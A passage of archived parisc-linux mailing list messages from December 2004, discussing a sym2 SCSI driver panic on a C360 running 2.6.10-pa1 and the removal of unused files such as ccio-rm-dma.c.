	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:26:29 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 55B32495694; Sun, 26 Dec 2004 17:26:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id D97A9495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 17:26:28 -0700 (MST)
Original-Received: from [83.134.223.71] (helo=[83.134.223.71])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CiiiQ-0006gz-CE; Mon, 27 Dec 2004 01:26:26 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25037

Hello all,

Matthew Wilcox wrote:
> On Sun, Dec 26, 2004 at 05:04:40AM -0500, Mike Frysinger wrote:
> 
>>seems to be a new bug because building a 2.6.8.1-pa7 kernel with same .config 
>>works fine while a 2.6.10-pa1 panics ;(
> 
> 
> I suspect any 2.6.9 kernel will work fine and some of the earlier
> 2.6.10-rc too.  At some stage, I may invite you to do a binary search
> to figure out what patch caused this problem ... but see below first.
> 
> 
>>2.6.10-pa1-scsi-panic - dmesg output from scsi driver up through panic
>>2.6.8.1-pa11-dmesg - scsi dmesg output from a good kernel
> 
> 
> This is good -- very helpful.
> 
> 
>>sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
>>sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
> 
> 
> The 875 only supports wide ultra scsi (ie, FAST-20, 40MB/s).
> 
I just tested new 2.6.10 on my i386 box with same scsi interface (hp supply):
[...]
PCI: Found IRQ 11 for device 0000:00:09.0
sym0: <875> rev 0x14 at pci 0000:00:09.0 irq 11
sym0: Symbios NVRAM, ID 7, Fast-20, HVD, parity checking
sym0: open drain IRQ line driver, using on-chip SRAM
sym0: using LOAD/STORE-based firmware.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
   Vendor: SEAGATE   Model: ST336605LSUN36G   Rev: 0238
   Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:6:0: tagged command queuing enabled, command queue depth 16.
  target0:0:6: Beginning Domain Validation
sym0:6: wide asynchronous.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
  target0:0:6: Ending Domain Validation
PCI: Found IRQ 5 for device 0000:00:09.1
PCI: Sharing IRQ 5 with 0000:00:0a.0
sym1: <875> rev 0x14 at pci 0000:00:09.1 irq 5
sym1: Symbios NVRAM, ID 7, Fast-20, HVD, parity checking
sym1: open drain IRQ line driver, using on-chip SRAM
sym1: using LOAD/STORE-based firmware.
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18m
PCI: Found IRQ 5 for device 0000:00:0a.0
PCI: Sharing IRQ 5 with 0000:00:09.1
sym2: <875> rev 0x26 at pci 0000:00:0a.0 irq 5
sym2: Symbios NVRAM, ID 7, Fast-20, SE, parity checking
sym2: open drain IRQ line driver, using on-chip SRAM
sym2: using LOAD/STORE-based firmware.
sym2: SCAN FOR LUNS disabled for targets 0 1 2 3 4 5 6 8 9 10 11 12 13 14 15.
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18m
   Vendor: QUANTUM   Model: ATLAS_V_18_WLS    Rev: 0230
   Type:   Direct-Access                      ANSI SCSI revision: 03
sym2:0:0: tagged command queuing enabled, command queue depth 16.
  target2:0:0: Beginning Domain Validation
sym2:0: wide asynchronous.
sym2:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
  target2:0:0: Ending Domain Validation
st: Version 20041025, fixed bufsize 32768, s/g segs 256
SCSI device sda: 71132959 512-byte hdwr sectors (36420 MB)
SCSI device sda: drive cache: write through
SCSI device sda: 71132959 512-byte hdwr sectors (36420 MB)
SCSI device sda: drive cache: write through
  sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 >
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 35861388 512-byte hdwr sectors (18361 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 35861388 512-byte hdwr sectors (18361 MB)
SCSI device sdb: drive cache: write back
  sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 sdb7 sdb8 sdb9 sdb10 >
Attached scsi disk sdb at scsi2, channel 0, id 0, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi2, channel 0, id 0, lun 0,  type 0
[...]

and all seems to works fine.

Is there difference between upstream kernel and pa cvs from sym2 driver point of view?

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 00:49:09 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20041227004909.GI11543@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
	<20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
	<41CF56AD.2010504@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624514 26512 80.91.229.3 (22 Nov 2014 02:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 00:49:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 27 Dec 2004 01:49:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8197A3BD42; Sun, 26 Dec 2004 17:49:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10921-08; Sun, 26 Dec 2004 17:49:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5292A3BE53; Sun, 26 Dec 2004 17:49:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CC033BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:49:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10969-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:49:12 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 82C873BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:49:12 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 18D06495694; Sun, 26 Dec 2004 17:49:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id C3CA0495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 17:49:11 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cij4P-0000kP-W3; Mon, 27 Dec 2004 00:49:10 +0000
Content-Disposition: inline
In-Reply-To: <41CF56AD.2010504@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25038

On Mon, Dec 27, 2004 at 12:26:21AM +0000, Joel Soete wrote:
> Is there difference between upstream kernel and pa cvs from sym2 driver 
> point of view?

Yes, but the problem is with the Western Digital drive, so you
can't provoke the problem.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch 1/1] delete unused file
Date: Sun, 26 Dec 2004 23:33:13 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20041227063313.GH29492@colo.lackof.org>
References: <20041225175939.7DEF71ED41@trashy.coderock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624514 26513 80.91.229.3 (22 Nov 2014 02:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: domen@coderock.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 06:35:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 27 Dec 2004 07:35:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 192B33BE51; Sun, 26 Dec 2004 23:35:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12092-09; Sun, 26 Dec 2004 23:35:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A8D953BE53; Sun, 26 Dec 2004 23:35:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 463D23BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 23:35:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12092-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 23:35:00 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 45D993BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 23:35:00 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E49D7495694; Sun, 26 Dec 2004 23:34:59 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id B314C495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 23:34:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 24E1A2980AA; Sun, 26 Dec 2004 23:34:59 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30506-08; Sun, 26 Dec 2004 23:33:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 555F529803A; Sun, 26 Dec 2004 23:33:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041225175939.7DEF71ED41@trashy.coderock.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25039

On Sat, Dec 25, 2004 at 06:59:49PM +0100, domen@coderock.org wrote:
> 
> Remove nowhere referenced file. (egrep "filename\." didn't find anything)
> 
> Signed-off-by: Domen Puncer <domen@coderock.org>

Thanks - I will delete it from cvs.parisc-linux.org repository once
a "sanity check build" completes. I also couldn't find any references.
palo (parisc boot loader) doesn't use this file either.

thanks again,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: What's about ccio-rm-dma? [Was: [parisc-linux] Re: [patch 1/1] delete
	unused file]
Date: Mon, 27 Dec 2004 11:52:32 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <41CFF780.7000700@tiscali.be>
References: <20041225175939.7DEF71ED41@trashy.coderock.org>
	<20041227063313.GH29492@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624515 26515 80.91.229.3 (22 Nov 2014 02:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 11:53:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 27 Dec 2004 12:53:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 639A93BE53; Mon, 27 Dec 2004 04:53:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17245-01; Mon, 27 Dec 2004 04:53:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7372A3BE56; Mon, 27 Dec 2004 04:52:45 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 012293BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 04:52:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16647-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 04:52:36 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F32D33BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 04:52:35 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id AA6F9495694; Mon, 27 Dec 2004 04:52:35 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id 4A287495612;
	Mon, 27 Dec 2004 04:52:35 -0700 (MST)
Original-Received: from [83.134.227.18] (helo=[83.134.227.18])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CitPt-0002fB-Il; Mon, 27 Dec 2004 12:52:01 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041227063313.GH29492@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25040

Grant,

couldn't you do the same with ccio-rm-dma.c?
the only ref is in drivers/parisc/Makefile:
[...]
# Only use one of them: ccio-rm-dma is for PCX-W systems *only*
# obj-$(CONFIG_IOMMU_CCIO)      += ccio-rm-dma.o
obj-$(CONFIG_IOMMU_CCIO)        += ccio-dma.o
[...]

commented and replaced by ccio-dma.c for a long time ;-) (may also outdated?)

Joel


Grant Grundler wrote:
> On Sat, Dec 25, 2004 at 06:59:49PM +0100, domen@coderock.org wrote:
> 
>>Remove nowhere referenced file. (egrep "filename\." didn't find anything)
>>
>>Signed-off-by: Domen Puncer <domen@coderock.org>
> 
> 
> Thanks - I will delete it from cvs.parisc-linux.org repository once
> a "sanity check build" completes. I also couldn't find any references.
> palo (parisc boot loader) doesn't use this file either.
> 
> thanks again,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: What's about ccio-rm-dma?
Date: Mon, 27 Dec 2004 11:24:02 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20041227182402.GC15046@colo.lackof.org>
References: <20041225175939.7DEF71ED41@trashy.coderock.org>
	<20041227063313.GH29492@colo.lackof.org>
	<41CFF780.7000700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624515 26520 80.91.229.3 (22 Nov 2014 02:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 18:26:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 27 Dec 2004 19:26:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D51A3BE53; Mon, 27 Dec 2004 11:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20772-06; Mon, 27 Dec 2004 11:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 175CF3BE56; Mon, 27 Dec 2004 11:26:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03B643BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:26:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20774-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:26:24 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B1FEB3BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:26:24 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 5F7F4495695; Mon, 27 Dec 2004 11:26:24 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 3049B495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 11:26:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B03EF2980AA; Mon, 27 Dec 2004 11:26:20 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15162-06; Mon, 27 Dec 2004 11:24:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6ED60298028; Mon, 27 Dec 2004 11:24:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41CFF780.7000700@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25041

On Mon, Dec 27, 2004 at 11:52:32AM +0000, Joel Soete wrote:
> Grant,
> 
> couldn't you do the same with ccio-rm-dma.c?

Yes, I could. But ccio is co-owned by James Bottomley (guilt
by association) and Ryan Bradetich. It's their decision if
they want to keep it around or not.

> the only ref is in drivers/parisc/Makefile:

No other references are necessary since the code hooks itself
in by updating hppa_dma_ops function table.

> [...]
> # Only use one of them: ccio-rm-dma is for PCX-W systems *only*
> # obj-$(CONFIG_IOMMU_CCIO)      += ccio-rm-dma.o
> obj-$(CONFIG_IOMMU_CCIO)        += ccio-dma.o
> [...]
> 
> commented and replaced by ccio-dma.c for a long time ;-) (may also 
> outdated?)

ccio-rm-dma.c is a replacement for ccio-dma.c on the one machine
that supports it: C360.

grant
_______________________________________________
parisc-linux mailing list
